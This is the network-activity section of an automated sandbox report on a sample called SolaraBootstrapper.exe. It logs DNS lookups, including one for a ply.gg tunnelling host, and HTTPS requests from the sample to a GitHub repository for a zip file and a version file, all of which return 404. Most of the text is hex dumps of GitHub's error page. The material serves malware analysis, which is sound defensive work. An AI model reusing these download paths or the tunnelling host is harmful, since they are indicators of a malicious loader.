Aug 24, 2024 21:55:05.274218082 CEST	1.1.1.1	192.168.2.4	0x19c4	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 24, 2024 21:56:27.225749969 CEST	1.1.1.1	192.168.2.4	0xdcc9	No error (0)	22.ip.gl.ply.gg	147.185.221.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	140.82.121.4	443	7200	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-24 19:55:04 UTC	105	OUT	GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-08-24 19:55:05 UTC	473	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Sat, 24 Aug 2024 19:55:04 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
2024-08-24 19:55:05 UTC	3268	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-08-24 19:55:05 UTC	369	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pre
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 2d 69 6d 61 67 65 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 Data Ascii: com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconne
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 2d 37 39 62 63 61 37 31 34 35 33 39 33 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 74 72 69 74 61 6e 6f 70 69 61 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c Data Ascii: " rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-79bca7145393.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/l
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 6e 61 6c 5f 75 78 5f 68 69 73 74 6f 72 79 5f 72 65 66 73 22 2c 22 63 6f 70 69 6c 6f 74 5f 66 6f 6c 6c 6f 77 75 70 5f 74 6f 5f 61 67 65 6e 74 22 2c 22 63 6f 70 69 6c 6f 74 5f 69 6d 70 6c 69 63 69 74 5f 63 6f 6e 74 65 78 74 22 2c 22 63 6f 70 69 6c 6f 74 5f 73 6d 65 6c 6c 5f 69 63 65 62 72 65 61 6b 65 72 5f 75 78 22 2c 22 63 75 73 74 6f 6d 5f 69 6e 70 22 2c 22 65 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 5f 61 7a 75 72 65 5f 76 61 72 69 61 6e 74 5f 65 6e 64 70 6f 69 6e 74 22 2c 22 66 61 69 6c 62 6f 74 5f 68 61 6e 64 6c 65 5f 6e 6f 6e 5f 65 72 72 6f 72 73 22 2c 22 67 65 6f 6a 73 6f 6e 5f 61 7a 75 72 65 5f 6d 61 70 73 22 2c 22 67 68 61 73 5f 63 6f 70 69 6c 6f 74 5f 61 67 65 6e 74 73 5f 67 61 5f 77 65 62 5f 75 70 64 61 74 65 73 22 2c 22 67 68 6f 73 74 5f 70 69 Data Ascii: nal_ux_history_refs","copilot_followup_to_agent","copilot_implicit_context","copilot_smell_icebreaker_ux","custom_inp","experimentation_azure_variant_endpoint","failbot_handle_non_errors","geojson_azure_maps","ghas_copilot_agents_ga_web_updates","ghost_pi
2024-08-24 19:55:05 UTC	281	IN	Data Raw: 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6e 76 69 72 6f 6e 6d 65 6e 74 2d 34 61 36 32 66 32 38 33 32 32 38 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 Data Ascii: onymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-4a62f2832289.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 75 62 5f 73 65 6c 65 63 74 6f 72 2d 6f 62 73 65 72 76 65 72 5f 64 69 73 74 5f 69 6e 64 65 78 5f 65 73 6d 5f 6a 73 2d 66 36 39 30 66 64 39 61 65 33 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 66 6f 63 75 73 2d 7a 6f 6e 65 5f 6a 73 2d 63 39 30 38 36 61 34 66 Data Ascii: ub_selector-observer_dist_index_esm_js-f690fd9ae3d5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-c9086a4f
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 2d 33 65 66 64 61 33 2d 37 30 31 61 63 62 36 39 31 39 33 66 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 66 69 6c 74 65 72 2d 69 6e 70 75 74 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f Data Ascii: de_modules_delegated-events_dist_in-3efda3-701acb69193f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-no
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 30 66 65 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 61 74 61 6c 79 73 74 5f 6c 69 62 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 79 64 72 6f 2d 61 6e 61 6c 79 74 69 63 73 2d 63 6c 69 65 6e 74 5f 2d 37 39 30 31 65 37 2d 64 63 38 38 35 38 37 63 31 34 65 64 2e 6a 73 Data Ascii: 0fee.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-7901e7-dc88587c14ed.js
2024-08-24 19:55:05 UTC	1370	IN	Data Raw: 65 2d 38 39 33 66 39 66 2d 36 63 66 33 33 32 30 34 31 36 62 38 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 64 69 73 74 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 68 6f 74 6b 65 79 2d 31 61 31 64 39 Data Ascii: e-893f9f-6cf3320416b8.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_github_hotkey-1a1d9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.199.109.133	443	7200	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-24 19:55:05 UTC	135	OUT	GET /quivings/Solara/main/Storage/version.txt HTTP/1.1 User-Agent: Solara Host: raw.githubusercontent.com Connection: Keep-Alive
2024-08-24 19:55:05 UTC	801	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 14 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block Content-Type: text/plain; charset=utf-8 X-GitHub-Request-Id: FE3C:A4EB4:914EDB:A2C9D5:66CA3A99 Accept-Ranges: bytes Date: Sat, 24 Aug 2024 19:55:05 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740072-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724529306.809325,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: bdaf9571f5649794f8b717df41ba184de9a7a2f1 Expires: Sat, 24 Aug 2024 20:00:05 GMT Source-Age: 0
2024-08-24 19:55:05 UTC	14	IN	Data Raw: 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: 404: Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	140.82.121.4	443	7200	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-24 19:55:06 UTC	81	OUT	GET /quivings/Solara/raw/main/Files/Solara.Dir.zip HTTP/1.1 Host: github.com
2024-08-24 19:55:06 UTC	473	IN	HTTP/1.1 404 Not Found Server: GitHub.com Date: Sat, 24 Aug 2024 19:55:04 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
2024-08-24 19:55:06 UTC	3264	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-08-24 19:55:06 UTC	373	IN	Data Raw: 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 Data Ascii: <!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-prefetch"
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 63 6c 6f 75 64 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 2d 69 6d 61 67 65 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 Data Ascii: ink rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 68 69 67 68 5f 63 6f 6e 74 72 61 73 74 2d 37 39 62 63 61 37 31 34 35 33 39 33 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 74 72 69 74 61 6e 6f 70 69 61 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 6c 69 67 68 74 5f 74 72 69 74 61 Data Ascii: lesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-79bca7145393.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_trita
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 74 6f 72 79 5f 72 65 66 73 22 2c 22 63 6f 70 69 6c 6f 74 5f 66 6f 6c 6c 6f 77 75 70 5f 74 6f 5f 61 67 65 6e 74 22 2c 22 63 6f 70 69 6c 6f 74 5f 69 6d 70 6c 69 63 69 74 5f 63 6f 6e 74 65 78 74 22 2c 22 63 6f 70 69 6c 6f 74 5f 73 6d 65 6c 6c 5f 69 63 65 62 72 65 61 6b 65 72 5f 75 78 22 2c 22 63 75 73 74 6f 6d 5f 69 6e 70 22 2c 22 65 78 70 65 72 69 6d 65 6e 74 61 74 69 6f 6e 5f 61 7a 75 72 65 5f 76 61 72 69 61 6e 74 5f 65 6e 64 70 6f 69 6e 74 22 2c 22 66 61 69 6c 62 6f 74 5f 68 61 6e 64 6c 65 5f 6e 6f 6e 5f 65 72 72 6f 72 73 22 2c 22 67 65 6f 6a 73 6f 6e 5f 61 7a 75 72 65 5f 6d 61 70 73 22 2c 22 67 68 61 73 5f 63 6f 70 69 6c 6f 74 5f 61 67 65 6e 74 73 5f 67 61 5f 77 65 62 5f 75 70 64 61 74 65 73 22 2c 22 67 68 6f 73 74 5f 70 69 6c 6f 74 5f 63 6f 6e 66 69 64 Data Ascii: tory_refs","copilot_followup_to_agent","copilot_implicit_context","copilot_smell_icebreaker_ux","custom_inp","experimentation_azure_variant_endpoint","failbot_handle_non_errors","geojson_azure_maps","ghas_copilot_agents_ga_web_updates","ghost_pilot_confid
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6e 76 69 72 6f 6e 6d 65 6e 74 2d 34 61 36 32 66 32 38 33 32 32 38 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e Data Ascii: efer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-4a62f2832289.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-n
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 2d 65 78 70 61 6e 64 65 72 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 63 64 34 38 32 32 30 64 37 34 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f Data Ascii: s/vendors-node_modules_github_text-expander-element_dist_index_js-cd48220d74d5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 67 69 74 68 75 62 2d 65 6c 65 6d 65 6e 74 73 2d 32 32 31 62 30 65 37 64 37 37 61 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 Data Ascii: ="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-221b0e7d77a3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-r
